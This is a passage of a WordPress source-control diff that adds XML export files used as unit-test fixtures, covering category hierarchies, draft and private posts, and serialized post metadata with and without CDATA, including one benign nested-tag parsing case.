+	<wp:category><wp:term_id>20</wp:term_id><wp:category_nicename>nu</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Nu]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>31</wp:term_id><wp:category_nicename>omega</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Omega]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>22</wp:term_id><wp:category_nicename>omicron</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Omicron]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>28</wp:term_id><wp:category_nicename>phi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Phi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>23</wp:term_id><wp:category_nicename>pi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Pi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>30</wp:term_id><wp:category_nicename>psi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Psi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>24</wp:term_id><wp:category_nicename>rho</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Rho]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>25</wp:term_id><wp:category_nicename>sigma</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Sigma]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>26</wp:term_id><wp:category_nicename>tau</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[tAu]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>15</wp:term_id><wp:category_nicename>theta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[THeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>1</wp:term_id><wp:category_nicename>uncategorized</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Uncategorized]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>32</wp:term_id><wp:category_nicename>unused-category</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Unused category]]></wp:cat_name><wp:category_description><![CDATA[Category will not be associated with any posts.]]></wp:category_description></wp:category>
+	<wp:category><wp:term_id>27</wp:term_id><wp:category_nicename>upsilon</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[uPsIlOn]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>21</wp:term_id><wp:category_nicename>xi</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[Xi]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>13</wp:term_id><wp:category_nicename>zeta</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[zeta]]></wp:cat_name></wp:category>
+	<wp:category><wp:term_id>7</wp:term_id><wp:category_nicename>eternity</wp:category_nicename><wp:category_parent></wp:category_parent><wp:cat_name><![CDATA[远征手记]]></wp:cat_name><wp:category_description><![CDATA[No more duplicate categories, #13364]]></wp:category_description></wp:category>
+	<wp:tag><wp:term_id>33</wp:term_id><wp:tag_slug>tag1</wp:tag_slug><wp:tag_name><![CDATA[Tag1]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>34</wp:term_id><wp:tag_slug>tag2</wp:tag_slug><wp:tag_name><![CDATA[Tag2]]></wp:tag_name></wp:tag>
+	<wp:tag><wp:term_id>35</wp:term_id><wp:tag_slug>tag3</wp:tag_slug><wp:tag_name><![CDATA[Tag3]]></wp:tag_name></wp:tag>
+
+	<generator>http://wordpress.org/?v=3.1-RC2-17315</generator>
+
+	<item>
+		<title>Hello world!</title>
+		<link>http://localhost/?p=1</link>
+		<pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+		<dc:creator>author</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=1</guid>
+		<description></description>
+		<content:encoded><![CDATA[Welcome to WordPress. This is your first post. Edit or delete it, then start blogging!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>1</wp:post_id>
+		<wp:post_date>2011-01-18 07:40:14</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>hello-world</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>Post by</wp:meta_key>
+			<wp:meta_value><![CDATA[author]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:comment>
+			<wp:comment_id>1</wp:comment_id>
+			<wp:comment_author><![CDATA[Mr WordPress]]></wp:comment_author>
+			<wp:comment_author_email></wp:comment_author_email>
+			<wp:comment_author_url>http://wordpress.org/</wp:comment_author_url>
+			<wp:comment_author_IP></wp:comment_author_IP>
+			<wp:comment_date>2011-01-18 07:40:14</wp:comment_date>
+			<wp:comment_date_gmt>2011-01-18 07:40:14</wp:comment_date_gmt>
+			<wp:comment_content><![CDATA[Hi, this is a comment.<br />To delete a comment, just log in and view the post&#039;s comments. There you will have the option to edit or delete them.]]></wp:comment_content>
+			<wp:comment_approved>1</wp:comment_approved>
+			<wp:comment_type></wp:comment_type>
+			<wp:comment_parent>0</wp:comment_parent>
+			<wp:comment_user_id>0</wp:comment_user_id>
+		</wp:comment>
+	</item>
+	<item>
+		<title>Sample Page</title>
+		<link>http://localhost/?page_id=2</link>
+		<pubDate>Tue, 18 Jan 2011 07:40:14 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=2</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an example page. It's different from a blog post because it will stay in one place and will show up in your site navigation (in most themes). Most people start with an About page that introduces them to potential site visitors. It might say something like this:
+
+<blockquote>Hi there! I'm a bike messenger by day, aspiring actor by night, and this is my blog. I live in Los Angeles, have a great dog named Jack, and I like pi&#241;a coladas. (And gettin' caught in the rain.)</blockquote>
+
+...or something like this:
+
+<blockquote>The XYZ Doohickey Company was founded in 1971, and has been providing quality doohickies to the public ever since. Located in Gotham City, XYZ employs over 2,000 people and does all kinds of awesome things for the Gotham community.</blockquote>
+
+As a new WordPress user, you should go to <a href="http://localhost/wp-admin/">your dashboard</a> to delete this page and create new pages for your content. Have fun!]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>2</wp:post_id>
+		<wp:post_date>2011-01-18 07:40:14</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:40:14</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>sample-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Child Page</title>
+		<link>http://localhost/?page_id=4</link>
+		<pubDate>Tue, 18 Jan 2011 07:45:50 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=4</guid>
+		<description></description>
+		<content:encoded><![CDATA[This child page appears before its parent in the export file.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>4</wp:post_id>
+		<wp:post_date>2011-01-18 07:45:50</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:45:50</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>child-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>6</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Parent Page</title>
+		<link>http://localhost/?page_id=6</link>
+		<pubDate>Tue, 18 Jan 2011 07:46:09 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=6</guid>
+		<description></description>
+		<content:encoded><![CDATA[This parent page appears after its child in the export file.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>6</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:09</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:46:09</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>parent-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Draft Page</title>
+		<link>http://localhost/?page_id=9</link>
+		<pubDate>Wed, 30 Nov -0001 00:00:00 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=9</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is a draft.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>9</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:29</wp:post_date>
+		<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name></wp:post_name>
+		<wp:status>draft</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[default]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>1-col page</title>
+		<link>http://localhost/?page_id=11</link>
+		<pubDate>Tue, 18 Jan 2011 07:46:57 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?page_id=11</guid>
+		<description></description>
+		<content:encoded><![CDATA[Using the "One column, no sidebar" template.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>11</wp:post_id>
+		<wp:post_date>2011-01-18 07:46:57</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:46:57</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>1-col-page</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>page</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>_wp_page_template</wp:meta_key>
+			<wp:meta_value><![CDATA[onecolumn-page.php]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Private Post</title>
+		<link>http://localhost/?p=13</link>
+		<pubDate>Tue, 18 Jan 2011 07:47:19 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=13</guid>
+		<description></description>
+		<content:encoded><![CDATA[Tagged with some tags.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>13</wp:post_id>
+		<wp:post_date>2011-01-18 07:47:19</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:47:19</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>private-post</wp:post_name>
+		<wp:status>private</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="post_tag" nicename="tag1"><![CDATA[Tag1]]></category>
+		<category domain="post_tag" nicename="tag2"><![CDATA[Tag2]]></category>
+		<category domain="post_tag" nicename="tag3"><![CDATA[Tag3]]></category>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Foo-child</title>
+		<link>http://localhost/?p=15</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:07 +0000</pubDate>
+		<dc:creator>editor</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=15</guid>
+		<description></description>
+		<content:encoded><![CDATA[Post associated with the Foo category that is a child of Bar.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>15</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:07</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:07</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>foo-child</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="foo-bar"><![CDATA[Foo]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+		<wp:postmeta>
+			<wp:meta_key>Post by</wp:meta_key>
+			<wp:meta_value><![CDATA[editor]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Top-level Foo</title>
+		<link>http://localhost/?p=17</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:32 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=17</guid>
+		<description></description>
+		<content:encoded><![CDATA[Post associated with the top-level Foo category.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>17</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:32</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:32</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>top-level-foo</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="foo"><![CDATA[Foo]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Non-standard post format</title>
+		<link>http://localhost/?p=19</link>
+		<pubDate>Tue, 18 Jan 2011 07:48:52 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=19</guid>
+		<description></description>
+		<content:encoded><![CDATA[This is an aside.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>19</wp:post_id>
+		<wp:post_date>2011-01-18 07:48:52</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:48:52</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>non-standard-post-format</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="post_format" nicename="post-format-aside"><![CDATA[Aside]]></category>
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+	<item>
+		<title>Many Categories</title>
+		<link>http://localhost/?p=22</link>
+		<pubDate>Tue, 18 Jan 2011 07:55:01 +0000</pubDate>
+		<dc:creator>admin</dc:creator>
+		<guid isPermaLink="false">http://localhost/?p=22</guid>
+		<description></description>
+		<content:encoded><![CDATA[This post has a lot of categories.]]></content:encoded>
+		<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+		<wp:post_id>22</wp:post_id>
+		<wp:post_date>2011-01-18 07:55:01</wp:post_date>
+		<wp:post_date_gmt>2011-01-18 07:55:01</wp:post_date_gmt>
+		<wp:comment_status>open</wp:comment_status>
+		<wp:ping_status>open</wp:ping_status>
+		<wp:post_name>many-categories</wp:post_name>
+		<wp:status>publish</wp:status>
+		<wp:post_parent>0</wp:post_parent>
+		<wp:menu_order>0</wp:menu_order>
+		<wp:post_type>post</wp:post_type>
+		<wp:post_password></wp:post_password>
+		<wp:is_sticky>0</wp:is_sticky>
+		<category domain="category" nicename="alpha"><![CDATA[alpha]]></category>
+		<category domain="category" nicename="bar"><![CDATA[Bar]]></category>
+		<category domain="category" nicename="beta"><![CDATA[BETA]]></category>
+		<category domain="category" nicename="chi"><![CDATA[CHI]]></category>
+		<category domain="category" nicename="delta"><![CDATA[dElta]]></category>
+		<category domain="category" nicename="epsilon"><![CDATA[epsilon]]></category>
+		<category domain="category" nicename="eta"><![CDATA[eta]]></category>
+		<category domain="category" nicename="foo"><![CDATA[Foo]]></category>
+		<category domain="category" nicename="gamma"><![CDATA[gaMMA]]></category>
+		<category domain="category" nicename="iota"><![CDATA[IOTA]]></category>
+		<category domain="category" nicename="kappa"><![CDATA[Kappa]]></category>
+		<category domain="category" nicename="lambda"><![CDATA[lambda]]></category>
+		<category domain="category" nicename="mu"><![CDATA[MU]]></category>
+		<category domain="category" nicename="nu"><![CDATA[Nu]]></category>
+		<category domain="category" nicename="omega"><![CDATA[Omega]]></category>
+		<category domain="category" nicename="omicron"><![CDATA[Omicron]]></category>
+		<category domain="category" nicename="phi"><![CDATA[Phi]]></category>
+		<category domain="category" nicename="pi"><![CDATA[Pi]]></category>
+		<category domain="category" nicename="psi"><![CDATA[Psi]]></category>
+		<category domain="category" nicename="rho"><![CDATA[Rho]]></category>
+		<category domain="category" nicename="sigma"><![CDATA[Sigma]]></category>
+		<category domain="category" nicename="tau"><![CDATA[tAu]]></category>
+		<category domain="category" nicename="theta"><![CDATA[THeta]]></category>
+		<category domain="category" nicename="upsilon"><![CDATA[uPsIlOn]]></category>
+		<category domain="category" nicename="xi"><![CDATA[Xi]]></category>
+		<category domain="category" nicename="zeta"><![CDATA[zeta]]></category>
+		<category domain="category" nicename="eternity"><![CDATA[远征手记]]></category>
+		<wp:postmeta>
+			<wp:meta_key>_edit_last</wp:meta_key>
+			<wp:meta_value><![CDATA[1]]></wp:meta_value>
+		</wp:postmeta>
+	</item>
+</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/test-serialized-postmeta-no-cdata.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/test-serialized-postmeta-no-cdata.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/test-serialized-postmeta-no-cdata.xml	(revision 33402)
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with Postmeta</title>
+<link>http://test.wordpress.org/postemta</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>122</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>post-options</wp:meta_key>
+<wp:meta_value>a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}</wp:meta_value>
+</wp:postmeta>
+
+	</item>
+	</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/test-serialized-postmeta-with-cdata.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/test-serialized-postmeta-with-cdata.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/test-serialized-postmeta-with-cdata.xml	(revision 33402)
@@ -0,0 +1,77 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
+	<pubDate>Mon, 30 Nov 2009 21:35:27 +0000</pubDate>
+	<generator>http://wordpress.org/?v=2.8.4</generator>
+	<language>en</language>
+	<wp:wxr_version>1.0</wp:wxr_version>
+	<wp:base_site_url>http://test.wordpress.org/</wp:base_site_url>
+	<wp:base_blog_url>http://test.wordpress.org/</wp:base_blog_url>
+		<item>
+<title>My Entry with Postmeta</title>
+<link>http://test.wordpress.org/postemta</link>
+<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
+<dc:creator><![CDATA[johncoswell]]></dc:creator>
+
+		<category><![CDATA[Uncategorized]]></category>
+
+		<category domain="category" nicename="uncategorized"><![CDATA[Uncategorized]]></category>
+
+<guid isPermaLink="false">http://test.wordpress.org/postmeta</guid>
+<description></description>
+<content:encoded><![CDATA[This is my content]]></content:encoded>
+<excerpt:encoded><![CDATA[]]></excerpt:encoded>
+<wp:post_id>10</wp:post_id>
+<wp:post_date>2009-10-20 16:13:20</wp:post_date>
+<wp:post_date_gmt>0000-00-00 00:00:00</wp:post_date_gmt>
+<wp:comment_status>open</wp:comment_status>
+<wp:ping_status>open</wp:ping_status>
+<wp:post_name></wp:post_name>
+<wp:status>draft</wp:status>
+<wp:post_parent>0</wp:post_parent>
+<wp:menu_order>0</wp:menu_order>
+<wp:post_type>post</wp:post_type>
+<wp:post_password></wp:post_password>
+<wp:postmeta>
+<wp:meta_key>post-options</wp:meta_key>
+<wp:meta_value><![CDATA[a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";}]]></wp:meta_value>
+</wp:postmeta>
+<wp:postmeta>
+<wp:meta_key>contains-html</wp:meta_key>
+<wp:meta_value><![CDATA[<pre>some html</pre>]]></wp:meta_value>
+</wp:postmeta>
+<wp:postmeta>
+<wp:meta_key>evil</wp:meta_key>
+<wp:meta_value><![CDATA[<wp:meta_value>evil</wp:meta_value>]]></wp:meta_value>
+</wp:postmeta>
+
+	</item>
+	</channel>
+</rss>
Index: /tags/4.1.6/tests/phpunit/data/export/test-utw-post-meta-import.xml
===================================================================
--- /tags/4.1.6/tests/phpunit/data/export/test-utw-post-meta-import.xml	(revision 33402)
+++ /tags/4.1.6/tests/phpunit/data/export/test-utw-post-meta-import.xml	(revision 33402)
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- This is a WordPress eXtended RSS file generated by WordPress as an export of your blog. -->
+<!-- It contains information about your blog's posts, comments, and categories. -->
+<!-- You may use this file to transfer that content from one site to another. -->
+<!-- This file is not intended to serve as a complete backup of your blog. -->
+
+<!-- To import this information into a WordPress blog follow these steps. -->
+<!-- 1. Log into that blog as an administrator. -->
+<!-- 2. Go to Tools: Import in the blog's admin panels (or Manage: Import in older versions of WordPress). -->
+<!-- 3. Choose "WordPress" from the list. -->
+<!-- 4. Upload this file using the form provided on that page. -->
+<!-- 5. You will first be asked to map the authors in this export file to users -->
+<!--    on the blog.  For each author, you may choose to map to an -->
+<!--    existing user on the blog or to create a new user -->
+<!-- 6. WordPress will then import each of the posts, comments, and categories -->
+<!--    contained in this file into your blog -->
+
+<!-- generator="WordPress/2.8.4" created="2009-12-04 09:06"-->
+<rss version="2.0"
+	xmlns:excerpt="http://wordpress.org/export/1.0/excerpt/"
+	xmlns:content="http://purl.org/rss/1.0/modules/content/"
+	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
+	xmlns:dc="http://purl.org/dc/elements/1.1/"
+	xmlns:wp="http://wordpress.org/export/1.0/"
+>
+
+<channel>
+	<title>Test With Serialized Postmeta</title>
+	<link>http://test.wordpress.org/</link>
+	<description>Just another blog</description>
